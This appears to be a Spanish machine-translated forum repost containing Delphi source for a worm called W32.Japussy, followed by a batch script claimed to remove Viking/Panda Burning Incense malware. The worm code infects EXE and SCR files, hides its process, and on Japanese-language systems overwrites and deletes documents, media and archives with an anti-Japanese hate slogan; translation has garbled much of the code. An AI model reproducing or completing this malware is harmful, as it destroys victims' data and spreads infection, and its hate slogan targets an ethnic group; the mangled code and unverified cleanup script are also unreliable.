Si alguien tiene el código fuente de panda quemando incienso, por favor envíeme una copia.

programa Japussy;

usa

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro};

const

HeaderSize = 82432; //El tamaño del virus

IconOffset = $12EB8; //El desplazamiento del icono principal del archivo PE

//En mi Delphi5 SP1 El tamaño obtenido al compilar arriba puede ser diferente en otras versiones de Delphi

//Busque la cadena hexadecimal de 2800000020 para encontrar el desplazamiento del icono principal

{

HeaderSize = 38912; //El tamaño del virus comprimido por Upx

IconOffset = $92BC; //El desplazamiento del icono principal del archivo PE comprimido por Upx

// Uso de Upx 1.24W: upx -9 --8086 Japussy.exe

}

IconSize = $2E8 //El tamaño del icono principal del PE. file--744 bytes

IconTail = IconOffset IconSize; //La cola del icono principal del archivo PE

ID = $44444444 //Marca de infección

//Código basura para escribir

p>

Catchword = ''''''''''''''Si es necesario eliminar una raza, debe ser Yamato ''. ''''''''''' '''

''''''''''''''Si un país necesita ser destruido, ¡debe ser Japón! ''''''''''' '''''

''''''''''''*** W32.Japussy.Worm.A *** ''''''''' ''''''';

{$R *.RES}

función RegisterServiceProcess(dwProcessID, dwType: Entero): Entero;

stdcall; external ''''''''''''''Kernel32.dll'''''''''' //Declaración de función

var

TmpFile: cadena;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Booleano = False; // Marca del sistema operativo japonés

{ Determinar si es Win9x }

función IsWin9x: booleano;

var

Ver : TOSVersionInfo;

comenzar

Resultado:= Falso;

Ver.dwOSVer

sionInfoSize:= SizeOf(TOSVersionInfo);

si no GetVersionEx(Ver) entonces

Salir;

si (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces //Win9x

Resultado:= Verdadero;

fin;

{Copiar entre secuencias}

procedimiento CopyStream(Src: TStream; sStartPos: Entero ; Dst: TStream;

dStartPos: Entero; Contar: Entero

var

sCurPos, dCurPos: Entero

comenzar;

sCurPos:= Src.Position;

dCurPos:= Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst .Seek(dCurPos, 0);

end;

{Separe el archivo host del archivo PE infectado para su uso}

procedimiento ExtractFile(FileName: string );

var

sStream, dStream: TFileStream;

comenzar

probar

sStream:= TFileStream .Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

prueba

dStream:= TFileStream.Create(FileName, fmCreate);

prueba

sStream.Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finalmente

dStream.Free

fin

finalmente

sStream.Free

fin;

excepto

end;

end;

{rellenar estructura STARTUPINFO}

procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Palabra);

comenzar

Si.cb:= TamañoDe(Si);

Si.lpReserved:= nil;

Si.lpDesktop:= nil;

Si.lpTitle:= nil;

>

Si.dwFlags:= STARTF_USESHOWWINDOW;

Si.wShowWindow:= Estado;

Si.cbReserved2:= 0;

Si.lpReserved2: = nil;

fin;

{Enviar correo electrónico venenoso}

procedimiento EnviarMail;

comenzar

/ /¿Quién está dispuesto a completar esto?

end;

{Infectar archivo PE}

procedimiento InfectOneFile(Nombre de archivo: cadena);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infectado , IsPE: booleano;

i: entero;

Buf: matriz[0..1] de Char

comienzo

try //Si ocurre un error, el archivo se está utilizando, salga

if CompareText(FileName, ''''''''''''''JAPUSSY.EXE'''' '''' '''''''') = 0 entonces //Si eres tú mismo, no serás infectado

Salir;

Infectado:= False;

IsPE:= False;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

intente

para i:= 0 a $108 hacer //Verificar el encabezado del archivo PE

comenzar

SrcStream.Seek(i, soFromBeginning

SrcStream.Read(Buf, 2);

si (Buf [0] = #80) y (Buf[1] = #69) entonces //marca PE

comienza

IsPE:= True; //Es un archivo PE

Break

end

end

SrcStream.Seek(-4, soFromEnd); //Comprueba el indicador de infección

SrcStream.Read(iID, 4);

if (iID = ID) o (SrcStream.Size lt; 10240) entonces //Archivos que sean demasiado pequeños no serán infectados

Infectado: = True

finalmente

SrcStream.Free

end; p>

si está infectado o (no es IsPE), entonces // Si está infectado o no es un archivo PE, salga

Salir;

IcoSt

resam := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

prueba

aIcon := TIcon.Create

intente

//Obtenga el ícono principal (744 bytes) del archivo infectado y guárdelo en la secuencia

aIcon.ReleaseHandle;

aIcon.Handle: = ExtractIcon (HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finalmente

aIcon.Free

;

end;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

//Archivo de encabezado

HdrStream:= TFileStream.Create(ParamStr (0 ), fmOpenRead o fmShareDenyNone);

prueba

//Escribe los datos antes del icono principal del virus

CopyStream(HdrStream, 0, DstStream , 0, IconOffset);

//Escribe el icono principal del programa actual

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//Escribe datos entre el icono principal del virus y la cola del virus

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//Escribe en el programa host

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//Escribir etiquetas infectadas

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finalmente

HdrStream.Free;

fin;

finalmente

SrcStream.Free

IcoStream.Free

DstStream.SaveToFile( FileName); //Reemplazar el archivo host

DstStream.Free

end

except

end; >

end;

{Escriba el archivo de destino en código basura y luego elimínelo}

procedimiento SmashFile(FileName: string);

var

ArchivoHa

ndle: Entero;

i, Tamaño, Masa, Máx., Len: Entero

comenzar

probar

SetFileAttributes(PChar( FileName), 0); //Eliminar el atributo de solo lectura

FileHandle:= FileOpen(FileName, fmOpenWrite) //Abrir el archivo

intentar

Tamaño: = GetFileSize(FileHandle, nil); //Tamaño del archivo

i:= 0;

Aleatorizar;

Máx.:= Aleatorio(15) ; // Número aleatorio de veces para escribir código basura

si Max lt; 5 entonces

Max: = 5

Masa: = Tamaño div Max; //Cada uno El tamaño del bloque de intervalo

Len:= Longitud(Catchword);

while i lt Max do

comenzar

<; p> FileSeek(FileHandle, i * Mass, 0); //Posicionamiento

//Escribe código basura para destruir completamente el archivo

FileWrite(FileHandle, Catchword, Len);

Inc(i);

fin;

finalmente

FileClose(FileHandle); p> end;

DeleteFile(PChar(FileName)); //Eliminarlo

excepto

end; /p>

{Obtener una lista de unidades grabables}

función GetDrives: cadena;

var

DiskType: Word;

D: Char;

Str: cadena;

i: Entero;

comenzar

para i:= 0 a 25 do //Atravesar 26 letras

comenzar

D := Chr(i 65

Str := D '''''''''); ''' '''':\'''''''''''''';

DiskType:= GetDriveType(PChar(Str));

// Obtener el disco local y el disco de red

si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado:= Resultado D;

end ;

end;

p>

end;

{Atravesar directorios, infectar y destruir archivos}

procedimiento LoopFiles( Ruta, Máscara: cadena);

var

var

p>

i, Recuento: Entero;

Fn, Ext: cadena;

SubDir: TStrings;

SearchRec: TSearchRec;

Mensaje: TMsg;

función IsValidDir(SearchRec: TSearchRec): Entero;

comenzar

if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt; gt; '''''' ''''''''''.'''''''''''''') y

(SearchRec.Name lt;gt; '''''' ''''''''''..'''''''''''''') luego

Resultado:= 0 //No es un directorio

else if (SearchRec.Attr = 16) y (SearchRec.Name lt; gt; ''''''''''''''.'''''''''' ' ''') y

(SearchRec.Name lt;gt; ''''''''''''''''..''''''''' ' '''') then

Resultado:= 1 //No es el directorio raíz

else Resultado:= 2 //Es el directorio raíz

fin;

comenzar

si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces

comenzar

repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar despertar sospechas

si IsValidDir(SearchRec) = 0 entonces

comenzar

Fn:= Ruta SearchRec.Name;

Ext:= UpperCase(ExtractFileExt(Fn));

if (Ext = '''' ''''' ''''''''.EXE'''''''''''') o (Ext = ''''''''''''''''. SCR'' '''''''''''') luego

comenzar

InfectOneFile(Fn); //Infectar el archivo ejecutable

end

else if (Ext = ''''''''''''''.HTM'''''''''''') o ( Ext = ''''''''''''''.HTML'''''''''''') o (Ext = '''''''''' ' '''''.ASP'''''''''''') luego

comenzar

//Infecta archivos HTML y ASP y virus codificados en Base64 escribiendo

//Infecta a todos los usuarios que navegan por esta página web

//¿Qué hermano mayor está dispuesto a completarla?

>

fin

si no Ext = ''''''''''''''.WAB'''''''''''' entonces / /Archivo de libreta de direcciones de Outlook

comenzar

//Obtener dirección de correo electrónico de Outlook

finalizar

else if Ext = ''' '' '''''''''''.ADC'''''''''''' luego //Archivo de autocompletar dirección de Foxmail

comenzar

/ /Obtener dirección de correo electrónico de Foxmail

end

else if Ext = ''''''''''''''''IND'''' ''''' ''''''' luego //Archivo de la libreta de direcciones de Foxmail

comenzar

//Obtener la dirección de correo electrónico de Foxmail

fin

else

comienza

si es japonés entonces //Es un sistema operativo japonés

comienza

si (Ext = ' ''' ''''''''''''.DOC'''''''''''') o (Ext = '''''''''''' ''''. XLS'''''''''''''') o (Ext = ''''''''''''.MDB''''' ''''''''' '') o

(Ext = ''''''''''''.MP3''''''''' ''''''') o (Ext = ''''''''''''''''.RM'''''''''''') o (Ext = '''''''''''' ''''.RA'''''''''''') o

(Ext = ''' '''''''''''''.WMA '''''''''''''') o (Ext = '''''''''''' ''.ZIP''''''''''' ''') o (Ext = ''''''''''''''''.RAR''''''' ''''''''') o

(Ext = '''''''''''''''.MPEG''''''''' ''''') o (Ext = ''''''' '''''''''.ASF'''''''''''') o (Ext = ' '''''''''''''''.JPG'' ''''''''''') o

(Ext = ''''' '''''''''''.JPEG'''''''' '''''''') o (Ext = '''''''''''''' .GIF'''''''''''''') o ( Ext = ''''''''''''''.SWF''''''''' ''''''') o

(Ext = '' '''''''''''''.PDF''''''''''' ''') o (Ext = '''''''''''' '.CHM''''''

'''''''''') o (Ext = ''''''''''''''.AVI'''''''''''') entonces

SmashFile(Fn); //Destruye el archivo

end;

end

end; //Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU

Sleep(200);

hasta (FindNext(SearchRec) lt; gt; 0

end;

FindClose(SearchRec);

SubDir := TStringList.Create

if (FindFirst(Ruta '); '''''''''''''''*.*'''''''''''', faDirectory, SearchRec) = 0) luego

comenzar

repetir

si IsValidDir(SearchRec) = 1 entonces

SubDir.Add(SearchRec.Name);

hasta ( FindNext(SearchRec ) lt; gt; 0);

fin;

BuscarRec

Contar:= SubDir.Count - 1; p> p>

for i := 0 para contar do

LoopFiles(Path SubDir.Strings ''''''''''''\''''''' ''''''''', Máscara);

FreeAndNil(SubDir);

end;

{Recorre todos los archivos del disco}

procedimiento InfectFiles;

var

DriverList: cadena;

i, Len: entero;

comenzar

si GetACP = 932 entonces //Sistema operativo japonés

IsJap:= True //¡Vete al infierno!

DriverList:= GetDrives; //Obtener la lista de discos grabables

Len:= Longitud(DriverList);

mientras True do //Bucle infinito< / p>

begin

for i := Len downto 1 do //Recorre cada unidad de disco

LoopFiles(DriverList ''''''''''' '' ''': \'''''''''''''''', ''''''''''''*.*'''''' '''' '''''); //Infección

SendMail; //Enviar correos electrónicos venenosos

Sleep(1000 * 60 * 5); //Dormir 5 minutos

end;

end;

{El programa principal comienza}

comienza

si IsW

in9x entonces //Es Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //Registrarse como proceso de servicio

else //WinNT

comenzar

//Asignación remota de subprocesos al proceso Explorer

//¿Qué hermano está dispuesto a completar esto?

end;

//Si es el virus original.

if CompareText(ExtractFileName(ParamStr(0)), ''''''' ' ''''''''Japussy.exe'''''''''''''') = 0 entonces

InfectFiles //Infección y envío de correos electrónicos

else //Ha parasitado el programa host y ha comenzado a trabajar

begin

TmpFile:= ParamStr(0); //Crea un archivo temporal

Eliminar(TmpFile, Longitud(TmpFile) - 4, 4);

TmpFile:= TmpFile #32 ''''''''''''''''.exe''''' '''''''''; //Archivo host real, un espacio más

ExtractFile(TmpFile); //Separación

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, Verdadero,

0, nil, '''''''''' '' ''.'''''''''''''', Si, Pi); //Crear un nuevo proceso para ejecutar

InfectFiles //Infectar y enviar correos electrónicos

p>

end;

end.

Indique la fuente de la nueva publicación: www.honkercn.net

Lo siguiente es para aclarar a Weijin y Panda Procesamiento por lotes del virus de la quema de incienso

@echo off

title Herramienta para eliminar la última variante del virus VIKING (logo_1, panda quema de incienso)

@echo Eliminando la última variante del virus VIKING Herramientas

pausa

si existe windir\rundl132.exe echo --- Informe al jefe que hay una emboscada del virus Weijin ¡Déjeme matarlo! -----

si existe windir\logo_1.exe echo ---Informe al jefe que hay una emboscada de virus vikingo ¡Déjame matarlo-----

//Matar proceso vikingo

tskill logo_1

tskill rundl132

tskill zt

tskill wow

tskill logo1

tskill Ravmon

tskill Eghost

tskill Mailmon

tskill KAVPFW

tskill IPARMOR

tskill Ravmond

taskkill /f /im 0sy.exe

taskkill

/f /im 1sy.exe

taskkill /f /im 2sy.exe

taskkill /f /im 3sy.exe

taskkill /f /im 4sy .exe

taskkill /f /im 5sy.exe

taskkill /f /im 6sy.exe

taskkill /f /im 7sy.exe

taskkill /f /im 8sy.exe

taskkill /f /im 9sy.exe

//Eliminar troyano

del d:\_desktop .ini /f/s/q/a

del c:\Program Files\_desktop.ini

del Windir\MickNew\MickNew.dll

del Windir\MH_FILE\MH_DLL.dll

del Windir\_desktop.ini

del Windir\TODAYZTKING\TODAYZTKING.DLL

attrib -h -r -s c: \go.exe

del c:\go.exe

del c:\setup.exe

attrib -h -s -r c:\autorun. inf

del c:\autorun.inf

attrib -h -r -s d:\go.exe

del d:\go.exe

del d:\setup.exe

attrib -h -s -r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

atributo -h -r -s e:\go.exe

del e:\go.exe

atributo -h -s -r e:\autorun.inf

del e:\autorun.inf

atributo -h -r -s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib -h -s -r f:\autorun.inf

del f :\autorun.inf

attrib -h -r -s g:\go.exe

del g:\go.exe

del g:\setup .exe

attrib -h -s -r g:\autorun.inf

del g:\autorun.inf

del h:\go.exe

del h:\setup.exe

attrib -h -s -r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib -h -s -r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\g

o.exe

attrib -h -s -r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del windir\system\Logo1_.exedel windir\system\Logo_1.exe

del windir\rundl132.exe

del windir\vDll.dll

del windir\Dll.dll

del windir\0Sy.exe

del windir\1Sy.exe

del windir\2Sy.exe

del windir\3Sy.exe

del windir\5Sy.exe

del windir\1.com

@echo ^_ ^ Informe al jefe, todos los VIKINGS han sido ejecutados

@echo Estoy muy cansado, inmunicemos su sistema nuevamente. Si no lo necesita, salga directamente

. pausa

//Sistema inmunológico

echo gt; windir\Logo1_.exe

echo gt;rundl132.exe

echo; gt; windir\0Sy.exe

echo gt; windir\vDll.dll

echo gt; .exe

echo gt; windir\rundll32.exe

echo gt; windir\3Sy.exe

echo windir\5Sy.exe

echo gt; windir\1.com

echo gt; windir\exerouter.exe

echo gt\EXP10RER.com

echo; gt; windir\finders.com

echo gt; windir\Shell.sys

echo gt; windir\kill.exe

echo gt; .dll

echo gt; windir\sws32.dll

echo gt; windir\uninstall\rundl132.exe

echo gt; /p>

echo gt; windir\WINLOGON.exe

echo gt; windir\RUNDLL32.EXE

echo gt;"Archivos de programa"\svchost.exe

echo gt; C:\"Archivos de programa"\"Internet Explorer"\svchost.exe

echo gt\Download\svchost.exe

echo gt; windir\system32\ wldll.dll

atributo windir\Logo1_.exe s

r h

attrib windir\rundl132.exe s r h

attrib windir\0Sy.exe s r h

attrib windir\vDll.dll s r h

attrib windir\1Sy.exe s r h

attrib windir\2Sy.exe s r h

attrib windir\rundll32.exe s r h

attrib windir\3Sy.exe s r h

attrib windir\5Sy.exe s r h

attrib windir\1.com s r h

attrib windir\exerouter.exe s r h

attrib windir \EXP10RER.com s r h

attrib windir\finders.com s r h

attrib windir\Shell.sys s r h

attrib windir\kill.exe s r h

attrib windir\sws.dll s r h

attrib windir\sws32.dll s r h

attrib windir\uninstall\rundl132.exe s r h

attrib windir \SVCHOST.exe s r h

attrib windir\WINLOGON.exe s r h

attrib windir\RUNDLL32.EXE s r h

attrib C:\"Archivos de programa"\svchost .exe s r h

atributo C:\"Archivos de programa"\"Internet Explorer"\svchost.exe s r h

atributo windir\Download\svchost.exe s r h

>attrib windir\system32\wldll.dll s r h

participación neta c$ /del

participación neta d$ /del

participación neta e$ /del

participación neta f$ /del

participación neta admin$ /del

participación neta ipc$ /del

cls

@echo ------------------------------------------

@ He matado a todos los vikingos del eco, ja, eso es increíble

@echo ¡El sistema ha sido inmune exitosamente!

@echo Gracias por tu uso, reinicia ¡tu computadora!

p>

@echo --------------------------------- ----

pausa